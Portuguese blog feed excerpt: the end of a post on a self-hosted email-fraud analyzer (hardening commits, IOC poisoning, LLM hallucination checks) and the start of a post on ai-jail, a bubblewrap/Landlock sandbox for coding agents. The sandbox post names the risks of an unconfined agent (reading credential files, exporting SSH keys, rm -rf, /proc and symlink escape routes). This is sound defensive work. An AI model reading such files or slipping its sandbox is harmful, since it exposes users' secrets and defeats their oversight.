<p>Num projeto comum, um bug é inconveniente. Num projeto de segurança, um bug pode ser uma vulnerabilidade. Se o sistema diz que um email fraudulento é legítimo, alguém pode perder dinheiro. Se reporta incorretamente um domínio legítimo como malicioso, pode prejudicar uma empresa inocente. Se um email malicioso consegue explorar o próprio analisador, o atacante ganha acesso ao servidor.</p>
<p>Isso muda o mindset de desenvolvimento. Cada decisão precisa considerar: &ldquo;como alguém mal-intencionado poderia abusar disso?&rdquo;</p>
<h3>Evolução via commits<span class="hx:absolute hx:-mt-20" id="evolução-via-commits"></span>
    <a href="#evolu%c3%a7%c3%a3o-via-commits" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Deixa eu mostrar como o projeto evoluiu olhando os commits mais relevantes.</p>
<p>O projeto começou com a estrutura básica de análise de email e logo precisou de controle de acesso:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>eb59474 - Add admin access control and allowed senders whitelist
036e9f1 - Harden access control against email spoofing and admin impersonation</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O primeiro adiciona a lista de remetentes autorizados. O segundo resolve o problema óbvio: e se alguém spoofar o email de um remetente autorizado? O sistema passou a verificar SPF/DKIM antes de aceitar qualquer submissão. Rate limiting por remetente veio junto, pra evitar abuso.</p>
<p>Depois vieram as preocupações com a qualidade do scoring:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>e891270 - Fix zero-dilution scoring bug and add critical alert UX
2cbb272 - Harden fraud scoring and reporting
50d96a1 - Move text pattern detection from regex to LLM consensus layer</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O bug de zero-dilution é sutil: quando uma camada falha e retorna score 0 com confiança baixa, ela diluía a média geral pra baixo, fazendo emails fraudulentos parecerem mais seguros do que eram. A correção implementou dampening que descarta camadas de baixa qualidade em vez de deixá-las puxar o score pra baixo.</p>
<p>A mudança de regex pra LLM no pattern detection foi pragmática. Padrões de fraude em linguagem natural são difíceis de capturar com regex. Falsos positivos demais. LLMs entendem contexto e intenção de um jeito que regex não consegue.</p>
<p>As race conditions apareceram quando o pipeline começou a rodar camadas em paralelo:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>2e4276d - Fix race conditions across pipeline and add Brave Search rate limiting
ac433d9 - Fix WHOIS race condition and Brave Search gzip error logging</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Jobs concorrentes tentando escrever no mesmo registro de email, consultas WHOIS pisando uma na outra, rate limits de APIs externas sendo estourados. O clássico &ldquo;funciona no teste sequencial, quebra em produção&rdquo;.</p>
<p>A prevenção de alucinação dos LLMs mereceu um commit dedicado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>e08da9e - Prevent LLM hallucination in fraud reports</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>LLMs inventam coisas. Se o modelo diz &ldquo;este domínio foi registrado ontem&rdquo; sem evidência nos dados, o relatório fica comprometido. Esse commit implementou validação cruzada: claims dos LLMs são verificados contra os dados concretos das camadas determinísticas. Se o LLM afirma algo que contradiz os fatos, a informação é descartada ou sinalizada.</p>
<p>E quando o community reporting foi implementado:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>a01d769 - Add community threat intelligence reporting
1b64eee - Harden community reporting against poisoning and add rate limiting</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>O primeiro commit implementa a funcionalidade. O segundo adiciona as proteções anti-envenenamento. Se um atacante percebe que o Frank FBI reporta automaticamente, ele pode tentar enviar emails que contenham IOCs de empresas legítimas como &ldquo;fraude&rdquo;, fazendo o sistema reportar domínios inocentes pras bases comunitárias. Isso é IOC poisoning, e é um ataque real contra sistemas de threat intelligence.</p>
<h3>Hardening contínuo<span class="hx:absolute hx:-mt-20" id="hardening-contínuo"></span>
    <a href="#hardening-cont%c3%adnuo" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>9430c63 - Harden risky attachment analysis and warnings
bdc503d - Harden screenshot capture with failure recovery and pipeline timeout
125e73a - Separate suspect content from submitter signature in forwarded emails
6f7a522 - Handle forwarded message fidelity</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Anexos maliciosos que poderiam explorar o parser. Screenshots de sites que poderiam travar o Chrome headless. Assinaturas do remetente que estavam sendo confundidas com conteúdo do email suspeito. Emails encaminhados que perdiam fidelidade no forward. Cada um desses resolve um vetor de ataque ou edge case diferente.</p>
<p>Segurança não é uma feature que você implementa uma vez. É um processo contínuo de &ldquo;o que eu não pensei que poderia dar errado?&rdquo;</p>
<h2>Os números<span class="hx:absolute hx:-mt-20" id="os-números"></span>
    <a href="#os-n%c3%bameros" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th>Métrica</th>
          <th>Valor</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Commits</td>
          <td>38</td>
      </tr>
      <tr>
          <td>Horas de trabalho (~)</td>
          <td>17</td>
      </tr>
      <tr>
          <td>Linhas de Ruby</td>
          <td>14.616</td>
      </tr>
      <tr>
          <td>Arquivos Ruby</td>
          <td>161</td>
      </tr>
      <tr>
          <td>Código da aplicação (app/)</td>
          <td>8.217 linhas</td>
      </tr>
      <tr>
          <td>Código de testes (test/)</td>
          <td>5.312 linhas</td>
      </tr>
      <tr>
          <td>Ratio teste/código</td>
          <td>0.65</td>
      </tr>
      <tr>
          <td>Camadas de análise</td>
          <td>6</td>
      </tr>
      <tr>
          <td>Jobs assíncronos</td>
          <td>20 classes</td>
      </tr>
      <tr>
          <td>Modelos de dados</td>
          <td>9 tabelas</td>
      </tr>
      <tr>
          <td>Commits/hora</td>
          <td>~2.2</td>
      </tr>
      <tr>
          <td>Linhas/hora</td>
          <td>~860</td>
      </tr>
  </tbody>
</table>
<p>860 linhas por hora. Obviamente desenvolvimento assistido por IA. Mas olha os commits de hardening: nenhum deles veio do LLM sugerindo &ldquo;ei, vamos proteger contra spoofing&rdquo;. Fui eu que parei e pensei &ldquo;espera, e se alguém spoofar o remetente autorizado?&rdquo;, &ldquo;e se um atacante usar IOC poisoning contra o meu sistema de reporting?&rdquo;. Esse tipo de pergunta o LLM não faz sozinho. Ele implementa quando você pede, mas quem precisa perceber o buraco é você.</p>
<h2>Um aviso sério: NÃO ofereça isso como serviço<span class="hx:absolute hx:-mt-20" id="um-aviso-sério-não-ofereça-isso-como-serviço"></span>
    <a href="#um-aviso-s%c3%a9rio-n%c3%a3o-ofere%c3%a7a-isso-como-servi%c3%a7o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Se você olhou pro Frank FBI e pensou &ldquo;legal, vou oferecer isso como SaaS pra outras pessoas&rdquo;, eu tenho um conselho: <strong>NÃO faça isso</strong>.</p>
<p>Eu consigo pensar em várias formas de explorar um serviço desses oferecido ao público. O operador teria acesso a todos os emails encaminhados pelos usuários &ndash; informações pessoais, dados corporativos, correspondência sensível. Um serviço centralizado vira um alvo de alto valor: comprometa o servidor e você tem acesso a um fluxo contínuo de emails confidenciais de pessoas que já estão em situação vulnerável.</p>
<p>Eu conheço gente o suficiente pra saber que quem deployaria isso como serviço não ia se preocupar com criptografia em repouso nem com destruir os emails após análise. E quem garante que o operador não vai ler os emails dos usuários? Ninguém. É o tipo de coisa que parece um serviço útil mas na prática cria um honeypot de dados sensíveis gerenciado por alguém sem incentivo pra protegê-los.</p>
<p>O Frank FBI foi feito pra ser self-hosted. Pra rodar no seu servidor, sob seu controle, com seus dados ficando com você. Ou na infraestrutura da sua empresa, gerenciado pela sua equipe de TI.</p>
<p>E o projeto está licenciado sob AGPL-3.0. Se você usar meu código e oferecer como serviço de rede, você é obrigado por lei a abrir todo o código derivado. Sem exceções. Eu escolhi AGPL por esse motivo &ndash; pra garantir que ninguém pegue o projeto, adicione tracking e telemetria, e ofereça como &ldquo;serviço gratuito de verificação de email&rdquo; enquanto coleta dados de usuários por baixo dos panos.</p>
<p>O <a href="https://github.com/akitaonrails/frank_fbi"target="_blank" rel="noopener">repositório está aqui</a>. AGPL-3.0.</p>
]]></content:encoded><category>frank</category><category>llms</category><category>inteligencia-artificial</category><category>seguranca</category></item><item><title>ai-jail: Sandbox para Agentes de IA — De Shell Script a Ferramenta Real</title><link>https://akitaonrails.github.io/2026/03/01/ai-jail-sandbox-para-agentes-de-ia-de-shell-script-a-ferramenta-real/</link><guid isPermaLink="true">https://akitaonrails.github.io/2026/03/01/ai-jail-sandbox-para-agentes-de-ia-de-shell-script-a-ferramenta-real/</guid><pubDate>Sun, 01 Mar 2026 14:00:00 -0300</pubDate><description>&lt;p&gt;Este post é um follow-up direto do &lt;a href="https://akitaonrails.github.io/2026/01/10/ai-agents-garantindo-a-protecao-do-seu-sistema/"&gt;AI Agents: Garantindo a Proteção do seu Sistema&lt;/a&gt;, onde eu mostrei como usar bubblewrap pra criar um jail manual pros seus agentes de IA. Se não leu, leia antes de continuar.&lt;/p&gt;
&lt;p&gt;&amp;ndash;&lt;/p&gt;
&lt;p&gt;Em janeiro publiquei um shell script de ~170 linhas que montava um sandbox com bubblewrap pra rodar Claude Code, OpenCode, Crush e qualquer outro agente de IA. Funcionava. Resolvia o problema. Mas era um script bash jogado em &lt;code&gt;~/.local/bin/&lt;/code&gt; que você tinha que copiar, colar, e rezar pra não precisar customizar demais.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Este post é um follow-up direto do <a href="/2026/01/10/ai-agents-garantindo-a-protecao-do-seu-sistema/">AI Agents: Garantindo a Proteção do seu Sistema</a>, onde eu mostrei como usar bubblewrap pra criar um jail manual pros seus agentes de IA. Se não leu, leia antes de continuar.</p>
<p>&ndash;</p>
<p>Em janeiro publiquei um shell script de ~170 linhas que montava um sandbox com bubblewrap pra rodar Claude Code, OpenCode, Crush e qualquer outro agente de IA. Funcionava. Resolvia o problema. Mas era um script bash jogado em <code>~/.local/bin/</code> que você tinha que copiar, colar, e rezar pra não precisar customizar demais.</p>
<p>Dois meses usando aquele script todo dia me mostraram os limites. Queria configuração por projeto. Queria suporte a macOS pros devs do meu time. Queria parar de editar arrays em bash toda vez que precisava de um diretório extra. E queria algo que alguém pudesse instalar com <code>brew install</code> ou <code>cargo install</code> em 10 segundos, sem ler 170 linhas de script.</p>
<p>Resultado: <a href="https://github.com/akitaonrails/ai-jail"target="_blank" rel="noopener">ai-jail</a>. Uma ferramenta em Rust, ~880KB, 4 dependências, 124 testes, que faz exatamente o que aquele script fazia e mais. Vou explicar o que mudou e por que você deveria estar usando.</p>
<h2>O Problema (de novo, pra quem pulou o post anterior)<span class="hx:absolute hx:-mt-20" id="o-problema-de-novo-pra-quem-pulou-o-post-anterior"></span>
    <a href="#o-problema-de-novo-pra-quem-pulou-o-post-anterior" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agentes de IA pra programação precisam de acesso ao seu filesystem. Precisam rodar compiladores, linters, grep, ls, make, cargo, npm. O mínimo pra serem úteis. O problema é que junto com esse acesso vem a capacidade de ler <code>~/.aws/credentials</code>, exportar suas chaves SSH, ou rodar um <code>rm -rf</code> fora do diretório do projeto.</p>
<p>Não é paranoia. Supply-chain attacks são reais. Toda hora uma lib de NPM, PyPI, ou RubyGems é comprometida. Se o agente rodar <code>npm install</code> e um post-install script malicioso tentar exfiltrar seus dados, a única coisa entre o atacante e suas credenciais é o que você montou de barreira antes.</p>
<p>A resposta é um sandbox. Especificamente, um que permita o agente trabalhar no diretório do projeto com as ferramentas que precisa, mas que torne invisível todo o resto do sistema.</p>
<h2>De Script pra Ferramenta<span class="hx:absolute hx:-mt-20" id="de-script-pra-ferramenta"></span>
    <a href="#de-script-pra-ferramenta" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O shell script do post anterior já resolvia isso com bubblewrap. O ai-jail resolve o mesmo problema, mas trata as limitações que dois meses de uso diário revelaram:</p>
<table>
  <thead>
      <tr>
          <th>Shell script</th>
          <th>ai-jail</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Configuração editando arrays bash</td>
          <td>Arquivo <code>.ai-jail</code> TOML por projeto</td>
      </tr>
      <tr>
          <td>Só Linux</td>
          <td>Linux + macOS</td>
      </tr>
      <tr>
          <td>GPU/Docker/Display hardcoded</td>
          <td>Auto-detecção com flags pra desligar</td>
      </tr>
      <tr>
          <td>Sem dry-run</td>
          <td><code>--dry-run --verbose</code> mostra tudo</td>
      </tr>
      <tr>
          <td>Sem lockdown</td>
          <td><code>--lockdown</code> pra modo paranóico</td>
      </tr>
      <tr>
          <td>Copiar/colar pra instalar</td>
          <td><code>brew install</code>, <code>cargo install</code>, <code>mise</code></td>
      </tr>
      <tr>
          <td>Sem bootstrap</td>
          <td><code>--bootstrap</code> gera configs de permissão pro Claude/Codex/OpenCode</td>
      </tr>
  </tbody>
</table>
<p>A lógica core é a mesma: bubblewrap cria namespaces isolados de PID, UTS, IPC, monta o <code>$HOME</code> como tmpfs efêmero, e só monta o diretório do projeto com escrita. A diferença é que agora tudo isso é configurável sem editar código.</p>
<h2>Instalação<span class="hx:absolute hx:-mt-20" id="instalação"></span>
    <a href="#instala%c3%a7%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quatro formas:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Homebrew (macOS e Linux)</span>
</span></span><span class="line"><span class="cl">brew tap akitaonrails/tap <span class="o">&amp;&amp;</span> brew install ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Cargo</span>
</span></span><span class="line"><span class="cl">cargo install ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Mise</span>
</span></span><span class="line"><span class="cl">mise use -g ubi:akitaonrails/ai-jail
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Binário direto do GitHub Releases</span>
</span></span><span class="line"><span class="cl">curl -fsSL https://github.com/akitaonrails/ai-jail/releases/latest/download/ai-jail-linux-x86_64.tar.gz <span class="p">|</span> tar xz
</span></span><span class="line"><span class="cl">sudo mv ai-jail /usr/local/bin/</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>No Linux, bubblewrap precisa estar instalado separadamente: <code>pacman -S bubblewrap</code> (Arch), <code>apt install bubblewrap</code> (Debian/Ubuntu), <code>dnf install bubblewrap</code> (Fedora). No macOS não precisa de nada extra.</p>
<h2>Uso Básico<span class="hx:absolute hx:-mt-20" id="uso-básico"></span>
    <a href="#uso-b%c3%a1sico" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">cd</span> ~/Projects/meu-app
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Roda Claude Code dentro do sandbox</span>
</span></span><span class="line"><span class="cl">ai-jail claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Roda Codex</span>
</span></span><span class="line"><span class="cl">ai-jail codex
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Roda OpenCode</span>
</span></span><span class="line"><span class="cl">ai-jail opencode
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Bash puro pra debug</span>
</span></span><span class="line"><span class="cl">ai-jail bash
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Qualquer comando</span>
</span></span><span class="line"><span class="cl">ai-jail -- python script.py</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Na primeira execução, ele cria um arquivo <code>.ai-jail</code> no diretório do projeto:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-toml" data-lang="toml"><span class="line"><span class="cl"><span class="c"># ai-jail sandbox configuration</span>
</span></span><span class="line"><span class="cl"><span class="c"># Edit freely. Regenerate with: ai-jail --clean --init</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nx">command</span> <span class="p">=</span> <span class="p">[</span><span class="s2">&#34;claude&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="nx">rw_maps</span> <span class="p">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="nx">ro_maps</span> <span class="p">=</span> <span class="p">[]</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Esse arquivo é commitável no repo. Quando outro dev do seu time clona o projeto e roda <code>ai-jail</code>, a mesma configuração se aplica.</p>
<p>Se quiser adicionar diretórios extras, pode fazer pela CLI ou direto no TOML:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Diretório extra com escrita</span>
</span></span><span class="line"><span class="cl">ai-jail --rw-map ~/Projects/shared-lib claude
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># Diretório extra somente leitura</span>
</span></span><span class="line"><span class="cl">ai-jail --map /opt/datasets claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Quer ver o que o sandbox vai fazer sem executar nada?</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">ai-jail --dry-run --verbose claude</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Isso mostra cada mount point, cada flag de isolamento, o comando completo do bubblewrap. Sem surpresas.</p>
<h2>Por Que Bubblewrap no Linux<span class="hx:absolute hx:-mt-20" id="por-que-bubblewrap-no-linux"></span>
    <a href="#por-que-bubblewrap-no-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Avaliei as alternativas antes de decidir. O <a href="https://github.com/akitaonrails/ai-jail/blob/master/docs/sandbox-alternatives.md"target="_blank" rel="noopener">documento completo de análise</a> tá no repositório, mas o resumo é:</p>
<p>Bubblewrap (bwrap) é o sandbox que o Flatpak usa pra isolar todo app desktop. ~50KB de binário, ~4000 linhas de C, mantido pelo time do GNOME. Roda sem root usando <code>CLONE_NEWUSER</code> pra criar namespaces sem privilégio elevado. Tá empacotado em toda distro Linux relevante e testado em escala por milhões de instalações Flatpak.</p>
<p>Considerei e descartei as alternativas. Firejail requer setuid root, e confiar em setuid pra proteger contra agentes que já rodam no seu sistema é contraditório. nsjail e minijail são projetados pra ambientes de produção (Google os usa internamente), complexos demais pra workstation de dev. systemd-nspawn requer root e é pra containers de sistema, não pra isolar um processo.</p>
<p>Landlock é um caso diferente. Ele não substitui bubblewrap — não tem nada a ver com namespaces ou mount isolation. Mas complementa. Landlock é um LSM (Linux Security Module) que controla acesso no nível do VFS, independente dos mount namespaces. Isso fecha vetores que o bwrap sozinho não cobre: rotas de escape pelo <code>/proc</code>, tricks com symlinks dentro de mounts permitidos, e serve como seguro contra bugs no próprio mecanismo de namespaces. A partir da v0.4.0, o ai-jail aplica Landlock automaticamente em kernels 5.13+ como defense-in-depth. Usa ABI V3 (Linux 6.2+) com degradação graceful pra V1 em kernels mais antigos, e vira no-op silencioso se o kernel não suportar. Se causar problema com alguma ferramenta específica, <code>--no-landlock</code> desativa.</p>
<p>Bubblewrap acerta no ponto exato: isolamento real sem root, em toda distro, e simples o suficiente pra wrappear num binário de 880KB.</p>
<h2>O Que o Sandbox Faz no Linux<span class="hx:absolute hx:-mt-20" id="o-que-o-sandbox-faz-no-linux"></span>
    <a href="#o-que-o-sandbox-faz-no-linux" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando você roda <code>ai-jail claude</code>, o seguinte acontece:</p>
<p>O agente roda em namespaces isolados de PID, UTS e IPC, com hostname <code>ai-sandbox</code>, e morre automaticamente se o pai morrer (<code>--die-with-parent</code>).</p>
<p>O filesystem é montado numa sequência específica (bubblewrap é order-dependent). <code>/usr</code>, <code>/etc</code>, <code>/opt</code>, <code>/sys</code> entram read-only pras ferramentas do sistema. <code>/dev</code> e <code>/proc</code> montados pra acesso a devices e processos. <code>/tmp</code> e <code>/run</code> como tmpfs frescos. GPUs auto-detectadas (<code>/dev/nvidia*</code>, <code>/dev/dri</code>). Docker socket, X11/Wayland, <code>/dev/shm</code>, tudo auto-detectado e montado se existir.</p>
